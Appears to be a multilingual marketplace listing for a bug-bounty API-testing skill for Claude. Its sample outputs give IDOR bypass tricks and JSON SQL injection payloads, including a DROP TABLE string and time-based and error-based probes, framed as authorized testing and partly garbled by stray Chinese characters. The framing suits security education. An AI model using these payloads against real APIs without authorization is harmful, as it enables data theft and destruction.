api-fuzzing-bug-bounty
اختبار واجهات برمجة التطبيقات للبحث عن الجوائز
غالباً ما تحتوي واجهات برمجة التطبيقات على ثغرات أمنية يمكن للمهاجمين استغلالها. يعلمك هذا المهارة تقنيات اختبار واجهات برمجة التطبيقات الشاملة بحيث يمكنك تحديد ثغرات المرجع المباشر غير الآمن وعمليات الحقن والتحايل على المصادقة أثناء البحث المسموح به عن الجوائز.
Télécharger le ZIP du skill
Importer dans Claude
Allez dans Paramètres → Capacités → Skills → Importer un skill
Activez et commencez à utiliser
Tester
Utilisation de "api-fuzzing-bug-bounty". Help me test for IDOR on /api/v1/invoices/{invoice_id}
Résultat attendu:
IDOR Testing Guide:
1. First, access your own invoice to establish baseline
2. Try incrementing the ID: /api/v1/invoices/12345 → /api/v1/invoices/12346
3. Test bypass techniques:
- Wrap ID in array: {"id":[12345]}
- JSON wrapper: {"id":{"id":12345}}
- Parameter pollution: ?invoice_id=12345&invoice_id=12346
4. Test different user contexts if you have multiple accounts
5. Check for horizontal and vertical IDOR (different privilege access)
Utilisation de "api-fuzzing-bug-bounty". What SQL injection payloads work in JSON API requests?
Résultat attendu:
JSON SQL Injection Payloads:
Basic tests:
- {"id":"1' OR '1'='1"}
- {"id":"1; DROP TABLE users--"}
Boolean-based:
- {"id":"1 AND 1=1"}
- {"id":"1 AND 1=2"}
Time-based (blind):
- {"id":"1 AND sleep(5)--"}
- {"id":"1'; WAITFOR DELAY '0:0:5'--"}
Error-based:
- {"id":"1' AND extractvalue(1,concat(0x7e,version()))--"}
Audit de sécurité
SûrAll 76 static findings are false positives. The skill is documentation for authorized security testing (bug bounty/penetration testing). The detected patterns are legitimate testing methodologies: command examples for API fuzzing, example URLs for target testing, and documented vulnerability test payloads (XXE, LFI, SSRF). This is standard security education content for authorized testing workflows.
Problèmes critiques (2)
Problèmes à risque élevé (1)
Facteurs de risque
⚙️ Commandes externes (48)
Score de qualité
Ce que vous pouvez construire
يختبر باحث الجوائز واجهة برمجة التطبيقات للهدف
يستخدم باحث الجوائز هذا المهارة لاختبار نظام واجهة برمجة التطبيقات للهدف بشكل منهجي للثغرات. يتبعون سير عمل اختبار IDOR وتقنيات الحقن وطرق اختبار GraphQL للعثور على مشكلات أمنية صالحة.
يقيّم مختبري الاختراق أمان واجهة برمجة التطبيقات
يستخدم مختبري الاختراق المحترف هذه المهارة أثناء مهمة التدقيق على واجهات برمجة تطبيقات العملاء. توفر المهارة قائمة مرجعية شاملة ومنهجية لاختبار ضوابط أمان واجهات برمجة التطبيقات.
يتعلم المطور أمان واجهات برمجة التطبيقات
يستخدم مطور البرمجيات هذه المهارة لفهم ثغرات واجهات برمجة التطبيقات الشائعة. يساعدهم ذلك في كتابة أكواد أكثر أماناً وفهم أفضل لكيفية الدفاع ضد تقنيات الهجوم الموثقة هنا.
Essayez ces prompts
Help me test a REST API endpoint for security vulnerabilities. The endpoint is /api/v1/users/{id} and uses Bearer token authentication. What are the main vulnerability categories I should test for?Show me how to test for IDOR vulnerabilities on an API that returns user profile data. The API uses /api/users/{user_id} endpoint. I want to test if I can access other users' profiles.I need to audit a GraphQL API for security issues. The endpoint is /graphql. What GraphQL-specific attacks should I test for, and how do I check if introspection is enabled?
I have authorization to test an API at https://api.example.com. Create a comprehensive testing plan covering reconnaissance, authentication testing, IDOR, injection, and bypass techniques. Include specific payloads for each test category.
Bonnes pratiques
- احصل دائماً على تفويض كتابي قبل اختبار أي واجهة برمجة تطبيقات لا تملكها
- اختبار على بيئات غير الإنتاجية عندما تكون متاحة لتجنب تعطيل الخدمات
- وثّق جميع النتائج مع طلبات وبراهين إثبات المفهوم والتقارير للاستجابة
- استخدم تحديد速率 والتحكم في التدفق لتجنب إرهاق واجهات برمجة التطبيقات المستهدفة أثناء الاختبار
Éviter
- لا تختبر واجهات برمجة التطبيقات الإنتاجية بدون تفويض صريح من المالك
- لا تستخدم تقنيات الفحص العدوانية التي قد تسبب رفض الخدمة
- لا تفترض أن جميع نقاط النهاية لها نفس ضوابط الأمان - اختبر كل واحدة منها بشكل منفصل
- لا تتجاهل تحديد速率 - احترم الهدف وتراجع عندما تصل إلى الحدود